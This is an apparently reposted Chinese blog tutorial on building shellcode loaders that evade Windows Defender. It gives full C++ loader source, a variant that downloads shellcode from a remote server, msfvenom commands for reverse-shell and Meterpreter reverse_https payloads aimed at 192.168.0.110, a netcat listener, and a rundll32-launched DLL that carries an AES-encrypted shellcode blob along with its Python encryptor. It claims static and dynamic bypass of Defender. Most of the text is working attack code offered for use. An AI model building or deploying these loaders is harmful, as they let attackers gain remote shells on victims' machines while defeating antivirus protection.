APT之木马动态免杀绕过Windows Defender

APT之木马动态免杀绕过Windows Defender_第1张图片

环境安装

c++编译环境

apt-get install g++-mingw-w64-x86-64

简单的演示

一串简单的将shellcode加载入windows内存执行的c++代码

#include 
#include 

int main() {

	unsigned char payload[] = "\x00";


	LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}
	
	MoveMemory(alloc_mem, payload, sizeof(payload));

	DWORD oldProtect;

	if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Failed to change memory protection (%u)\n", GetLastError());
		return -2;
	}


	HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

	printf("\n\nalloc_mem : %p\n", alloc_mem);
	WaitForSingleObject(tHandle, INFINITE);

	return 0;
}

解释:

payload变量里存储的就是我们的shellcode
代码:

LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

作用:

这行代码是使用Windows操作系统提供的函数在进程的虚拟内存空间中分配内存块

LPVOID alloc_mem: 这是一个指向void类型的指针,用于存储分配的内存块的起始地址。
LPVOID是Windows API中表示内存地址的通用类型

VirtualAlloc: 这是Windows操作系统提供的函数,用于在进程的虚拟内存空间中分配内存。它接受四个参数:

NULL: 这表示希望操作系统自动选择一个合适的地址来分配内存块。
sizeof(payload): 这是要分配的内存块的大小,sizeof(payload)表示要分配的大小与名为payload的变量或数据结构的大小相等。
MEM_COMMIT | MEM_RESERVE: 这是内存分配的标志位,它们告诉操作系统将分配的内存块同时提交(即立即分配物理内存)和保留(即为该内存块保留虚拟地址空间)。
PAGE_READWRITE: 这是指定内存块的访问权限,PAGE_READWRITE表示内存块可以被读写

代码:

if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}

作用:

if (!alloc_mem): 这是一个条件语句,它判断alloc_mem指针是否为NULL,即是否分配内存失败。
在C语言中,如果指针为NULL,表示内存分配失败或者指向的内存块不存在

printf("Failed to Allocate memory (%u)\n", GetLastError());: 如果内存分配失败,该语句将打印一条错误消息。
GetLastError()是一个Windows API函数,用于获取最近一次系统调用的错误代码

return -1;: 如果内存分配失败,代码将返回-1

代码:

MoveMemory(alloc_mem, payload, sizeof(payload));

解释:

MoveMemory 函数,它的作用是将指定源内存块的内容复制到目标内存块

MoveMemory(alloc_mem, payload, sizeof(payload));: 这是一个函数调用
它将源内存块 payload 的内容复制到目标内存块 alloc_mem 中,复制的字节数为 sizeof(payload)。

alloc_mem: 这是目标内存块的起始地址,是之前通过 VirtualAlloc 分配的内存块的地址。
payload: 这是源内存块的起始地址,通常表示一段数据或者缓冲区的地址。
sizeof(payload): 这表示要复制的字节数,即从源内存块复制多少字节的数据

代码:

DWORD oldProtect;

作用:

DWORD oldProtect; 是一个变量声明,它用于存储先前的内存保护标志位(Protection Flags)。
在Windows操作系统中,内存保护标志位用于控制对内存页的访问权限

代码:

if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Failed to change memory protection (%u)\n", GetLastError());
		return -2;
	}

作用:

VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect): 
这是一个函数调用,它使用 VirtualProtect 函数来修改内存保护标志位,从而更改内存块的访问权限。

alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
sizeof(payload): 这表示要更改保护标志位的内存块的大小,通常等于 payload 数据的大小。
PAGE_EXECUTE_READ: 这是新的内存保护标志位,表示内存块可以被执行和读取。这是一种常见的内存保护配置,用于存储可执行代码。
&oldProtect: 这是一个指向 DWORD 类型的指针,用于存储先前的内存保护标志位。
if (!VirtualProtect(...)) { ... }: 这是一个条件语句,它检查 VirtualProtect 函数是否成功执行。如果函数执行失败,即无法更改内存保护标志位,那么条件为真。

printf("Failed to change memory protection (%u)\n", GetLastError());: 如果内存保护更改失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。

return -2;: 在内存保护更改失败的情况下,代码将返回一个表示错误的返回码 -2

代码:

HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

作用:

HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);: 
这是一个函数调用,用于创建一个新的线程。

NULL: 这是一个表示线程的安全性的参数,NULL 表示线程将继承父进程的安全性设置。
0: 这是初始线程栈大小(以字节为单位),0 表示使用默认的线程栈大小。

(LPTHREAD_START_ROUTINE)alloc_mem: 这是一个指向函数的指针,用于指定新线程将要执行的函数。
在这里,它使用了先前分配的内存块的起始地址 alloc_mem,意味着新线程将从这个内存地址开始执行代码。

NULL: 这是传递给线程函数的参数,这里设置为 NULL。
0: 这是控制线程的创建标志,0 表示创建线程后立即启动。

NULL: 这是线程的标识符,NULL 表示不获取线程标识符。
if (!tHandle) { ... }: 这是一个条件语句,它检查 CreateThread 函数是否成功创建新的线程。如果函数执行失败,即无法创建线程,那么条件为真。

printf("Failed to Create the thread (%u)\n", GetLastError());: 如果线程创建失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。

return -3;: 在线程创建失败的情况下,代码将返回一个表示错误的返回码 -3

代码:

printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);

作用:

printf("\n\nalloc_mem : %p\n", alloc_mem);: 这是一个 printf 函数调用,它用于在控制台输出信息。具体来说,它会输出分配的内存块的地址。

\n\n: 这是换行符,用于在输出之前在控制台输出两个空行,以提高可读性。
alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
%p: 这是 printf 的格式化占位符,用于输出指针的值。
WaitForSingleObject(tHandle, INFINITE);: 这是一个函数调用,它用于等待一个线程的执行完成。

tHandle: 这是先前创建的线程的句柄,表示要等待的线程。
INFINITE: 这是一个常量,表示等待时间无限。这意味着程序将一直等待,直到指定的线程执行完毕

这就是一个简单的将shellcode加载进windows内存里执行的程序代码

编译

如果要编译,可以使用这个命令

x86_64-w64-mingw32-g++ --static muma.cpp -o muma.exe

这个程序没有经过免杀,所以很容易被杀

分离免杀

以下程序的免杀方式是用socket函数远程获取shellcode执行,不是将shellcode写入到源文件里,这是一种免杀方式
代码:

#include 
#include 
#include 
#include 

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 4096

void power(char* host, char* port, char* resource) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;

    
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        return ;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        WSACleanup();
        return ;
    }


    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            WSACleanup();
            return ;
        }


        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return ;
    }

    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }

    
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }
    

    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
            printf("[+] Received %d Bytes\n", iResult);
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(recvbuf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}
	
	MoveMemory(alloc_mem, recvbuf, sizeof(recvbuf));

	DWORD oldProtect;

	if (!VirtualProtect(alloc_mem, sizeof(recvbuf), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Fai1led to change memory protection (%u)\n", GetLastError());
		return -2;
	}


	HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

	printf("\n\nalloc_mem : %p\n", alloc_mem);
	WaitForSingleObject(tHandle, INFINITE);

	return 0;

    } while (iResult > 0);

    closesocket(ConnectSocket);
    WSACleanup();
}

int main(int argc, char** argv) {

    if (argc != 4) {
        printf("[+] Usage: %s   \n", argv[0]);
        return 1;
    }

    power(argv[1], argv[2], argv[3]);

    return 0;

}

简而言之,这些代码的作用就是使用socket函数远程获取shellcode文件,然后加载到内存里
编译文件:

x86_64-w64-mingw32-g++ --static -o power.exe muma.cpp -fpermissive -lws2_32

然后把程序放到靶机上

 scp [email protected]:/home/kali/bypass/power.exe .

image.png
回到kali,启用http服务

python -m http.server

image.png
生成一个shellcode

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin

APT之木马动态免杀绕过Windows Defender_第2张图片
然后监听设置的端口

nc -nvlp 1234

使用方法:

power.exe 服务器ip 端口 要加载的shellcode文件名

APT之木马动态免杀绕过Windows Defender_第3张图片
效果:
APT之木马动态免杀绕过Windows Defender_第4张图片
能动态和静态过最新的windows防火墙
文件被查杀要随便改一下源代码然后再编译一下就好了
APT之木马动态免杀绕过Windows Defender_第5张图片

https证书

如果要使用msfconsole,需要用到windows/x64/meterpreter/reverse_https模块,首先我们需要生成一个https证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \
    -keyout www.example.com.key \
    -out www.example.com.crt && \
cat www.example.com.key  www.example.com.crt > www.example.com.pem && \
rm -f www.example.com.key  www.example.com.crt

APT之木马动态免杀绕过Windows Defender_第6张图片
然后生成一个木马

msfvenom -p  windows/x64/meterpreter/reverse_https lhost=192.168.0.110 lport=1234 HandlerSSLCert=/home/kali/bypass/www.example.com.pem StagerVerifySSLCert=true -f raw > beacon.bin

image.png
打开msf

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.0.110
set lport 1234
set HandlerSSLCert /home/kali/bypass/www.example.com.pem
set StagerverifySSLCert true
run

回到靶机,获取程序
APT之木马动态免杀绕过Windows Defender_第7张图片
然后得到shell
APT之木马动态免杀绕过Windows Defender_第8张图片
能动态和静态过最新的windows防火墙

dll注入

一个常见的弹窗dll的c++代码:

#include 

#pragma comment (lib, "user32.lib")

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    return TRUE;
    }
}

编译

x86_64-w64-mingw32-g++ --shared muma.cpp -o muma.dll

APT之木马动态免杀绕过Windows Defender_第9张图片
把dll转移到靶机上

scp [email protected]:/home/kali/bypass/muma.dll .

APT之木马动态免杀绕过Windows Defender_第10张图片
执行命令运行dll文件

rundll32.exe .\muma.dll, HelloWorld

HelloWorld是执行这里的代码
APT之木马动态免杀绕过Windows Defender_第11张图片
APT之木马动态免杀绕过Windows Defender_第12张图片
这就是一个常见的弹窗dll
然后可以使用上面的那个将shellcode加载入windows内存里执行的代码来配合

unsigned char payload[] = "\x00";


    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

完整版:

#include 
#include 

#pragma comment (lib, "user32.lib")

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);

    unsigned char payload[] = "\x00";


    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

这里没写入shellcode,因为要对shellcode进行混淆

AES混淆

AES加密脚本:

#include 
#pragma comment (lib, "crypt32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

完整版:

#include 
#include 
#include 
#pragma comment (lib, "crypt32.lib")

#pragma comment (lib, "user32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(viod){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    unsigned char AESkey[] = {};
    unsigned char payload[] = {};

    DWORD payload_length = sizeof(payload);

    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    DecryptAES((char*)payload, payload_length, AESkey, sizeof(AESkey));
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

然后还需要写一个python脚本来打印出aes加密后的payload和aes解密的密钥

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
    k = hashlib.sha256(KEY).digest()
    iv = 16 * b'\x00'
    plaintext = pad(plaintext, AES.block_size)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext,key

  
def printResult(key, ciphertext):
    print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
    print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
    
try:
    file = open(sys.argv[1], "rb")
    content = file.read()
except:
    print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
    sys.exit()


KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

printResult(KEY,ciphertext)

使用msf生成一个payload

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin

然后用aes脚本加密payload

pip3 install pycryptodome
python3 aes.py beacon.bin

APT之木马动态免杀绕过Windows Defender_第13张图片
将shellcode放入脚本里
完整版:

#include 
#include 
#include 
#pragma comment (lib, "crypt32.lib")

#pragma comment (lib, "user32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    
    unsigned char AESkey[] = { 0x30, 0xe2, 0xd, 0xa2, 0xff, 0x83, 0xe7, 0xef, 0x48, 0xf5, 0x17, 0xe2, 0x51, 0x9c, 0x53, 0xde };
    unsigned char payload[] = { 0xd2, 0xf1, 0x78, 0x8d, 0x3f, 0x37, 0xf6, 0x7b, 0x15, 0x8c, 0xe8, 0x2, 0x2b, 0xd6, 0x1d, 0x55, 0x7d, 0xc1, 0xd5, 0x9, 0xd5, 0xc7, 0x41, 0xd6, 0x4e, 0x42, 0x32, 0x6e, 0x14, 0x93, 0x6, 0xa3, 0xde, 0x2d, 0xb1, 0xe0, 0x0, 0x88, 0xe7, 0x30, 0xab, 0xf9, 0xa5, 0xf9, 0x64, 0xc8, 0x61, 0x8d, 0xb4, 0x5a, 0x63, 0xc, 0x60, 0x97, 0x58, 0xfd, 0xbc, 0x42, 0x85, 0x15, 0x67, 0xa5, 0xbb, 0x28, 0xe2, 0x35, 0xe2, 0xf5, 0x31, 0xff, 0x31, 0xac, 0x1, 0xea, 0x3b, 0xea, 0x0, 0x81, 0x75, 0xa7, 0x21, 0x5, 0x5e, 0x99, 0x7f, 0xe8, 0x1f, 0x19, 0x83, 0x60, 0x62, 0x64, 0x59, 0xf2, 0x68, 0x4b, 0x56, 0x41, 0x48, 0x19, 0x5e, 0x54, 0x7c, 0x75, 0x8e, 0xf7, 0x9b, 0x96, 0x1b, 0xad, 0x4a, 0xca, 0xfc, 0x8c, 0x19, 0x3f, 0x41, 0x76, 0x14, 0x9, 0x92, 0x6b, 0x63, 0x69, 0xad, 0xfe, 0xb4, 0xdd, 0x41, 0xd4, 0xa9, 0x42, 0x2f, 0xdb, 0x30, 0xf6, 0x70, 0xa5, 0x0, 0xc1, 0x76, 0xf8, 0x54, 0x77, 0xaf, 0x9b, 0xf, 0x2e, 0xf6, 0x8d, 0xa, 0x45, 0x4e, 0xb9, 0x4f, 0xc6, 0x62, 0xcb, 0xc9, 0x1, 0x51, 0x59, 0xdd, 0xa7, 0x4f, 0x44, 0xbe, 0x2e, 0xd6, 0xac, 0x5f, 0xe0, 0x52, 0xc5, 0x88, 0x55, 0x65, 0xa9, 0x65, 0x79, 0xc3, 0x4a, 0x4f, 0x33, 0xca, 0xaf, 0xe1, 0xa6, 0x53, 0xf4, 0xe7, 0x83, 0xe, 0x20, 0xab, 0x96, 0xb2, 0xd3, 0x9a, 0x95, 0x29, 0x80, 0x4e, 0x7e, 0x5c, 0x5d, 0xf5, 0x2f, 0x5e, 0xf7, 0x4d, 0x83, 0xb2, 0xe6, 0x5f, 0xa8, 0x80, 0xae, 0x54, 0x37, 0x3a, 0xf8, 0xb1, 0x2, 0x87, 0xfc, 0x80, 0xa2, 0x5b, 0xba, 0x81, 0x52, 0xaf, 0xd1, 0xb, 0xd0, 0x25, 0x1a, 0x30, 0x6, 0x89, 0x77, 0x73, 0xf5, 0xeb, 0x4b, 0x14, 0x51, 0x81, 0xd7, 0x37, 0xfd, 0xde, 0x1c, 0x60, 0x52, 0xae, 0xb0, 0xc3, 0x7f, 0x4f, 0xdf, 0x43, 0x57, 0x58, 0x6a, 0xb5, 0xbd, 0x32, 0x65, 0xcd, 0x72, 0x3f, 0xb7, 0x65, 0x54, 0x9c, 0xe9, 0x25, 0x47, 0x38, 0x79, 0x49, 0xf1, 0x27, 0xcc, 0x3, 0x88, 0xaa, 0x21, 0xfe, 0xa4, 0x6, 0xee, 0x3a, 0xdf, 0xc0, 0xb3, 0x61, 0x8a, 0xed, 0xd6, 0xda, 0x3d, 0x58, 0x3b, 0xd8, 0xe6, 0x70, 0x18, 0xe3, 0x5a, 0x23, 0x42, 0xfa, 0x22, 0x9f, 0xa5, 0x86, 0x23, 0x71, 0xd, 0x56, 0x9e, 0x4, 0xeb, 0x9d, 0x2, 0x83, 0x82, 0x1c, 0x3, 0x85, 0xc4, 0x72, 0xf8, 0x48, 0xc3, 0x8c, 0x75, 0x75, 0x75, 0xd0, 0x55, 0x95, 0xfb, 0xf0, 0x73, 0xc6, 0xf3, 0xd6, 0xd2, 0xbb, 0x24, 0x7b, 0xe9, 0x33, 0xfd, 0x1c, 0x6c, 0x6b, 0x54, 0x2f, 0x88, 0x25, 0xc2, 0x77, 0x8, 0x5c, 0xab, 0x4, 0xa, 0xf4, 0x10, 0x8, 0xa6, 0x71, 0xe5, 0xb9, 0x8d, 0x83, 0x88, 0xc, 0xb2, 0xf9, 0xd0, 0x57, 0xf0, 0xd5, 0xc1, 0x7e, 0xec, 0xc6, 0x87, 0x8e, 0x7f, 0x68, 0xf3, 0xd3, 0xc8, 0x92, 0xf8, 0x67, 0xa2, 0x42, 0x24, 0x7e, 0xbf, 0xc0, 0x4f, 0x5c, 0xe5, 0x31, 0xa4, 0x4f, 0x44, 0xac, 0x2e, 0xb0, 0xcb, 0xb9, 0x8b, 0x4b, 0xf6, 0x29, 0x89, 0x2a, 0x98, 0x23, 0x9, 0xd6, 0xac, 0x37, 0xca, 0xeb, 0xf4, 0x3d, 0x69, 0x5b, 0xb6, 0xf9, 0x11, 0x7f, 0x52, 0x3e, 0x50, 0x41, 0x65, 0x91, 0x55, 0xab, 0x64, 0x11, 0xd7, 0xcc, 0xa9, 0x57, 0x8e, 0x6d, 0xd3, 0x7f, 0xdf, 0xd4, 0xe2 };

    DWORD payload_length = sizeof(payload);

    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    DecryptAES((char*)payload, payload_length, AESkey, sizeof(AESkey));
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

编译:

x86_64-w64-mingw32-g++ --shared muma.cpp -o muma.dll

APT之木马动态免杀绕过Windows Defender_第14张图片
然后使用nc监听设置的端口,然后将dll文件传到靶机上
然后执行

rundll32.exe .\power.dll, HelloWorld

APT之木马动态免杀绕过Windows Defender_第15张图片
APT之木马动态免杀绕过Windows Defender_第16张图片
能静态和动态过windows最新的防火墙
APT之木马动态免杀绕过Windows Defender_第17张图片
APT之木马动态免杀绕过Windows Defender_第18张图片
如果要使用msf,操作和分离免杀的那个https差不多
举一反三举一反三举一反三

你可能感兴趣的:(渗透,APT,windows,apt,免杀,红队,渗透测试)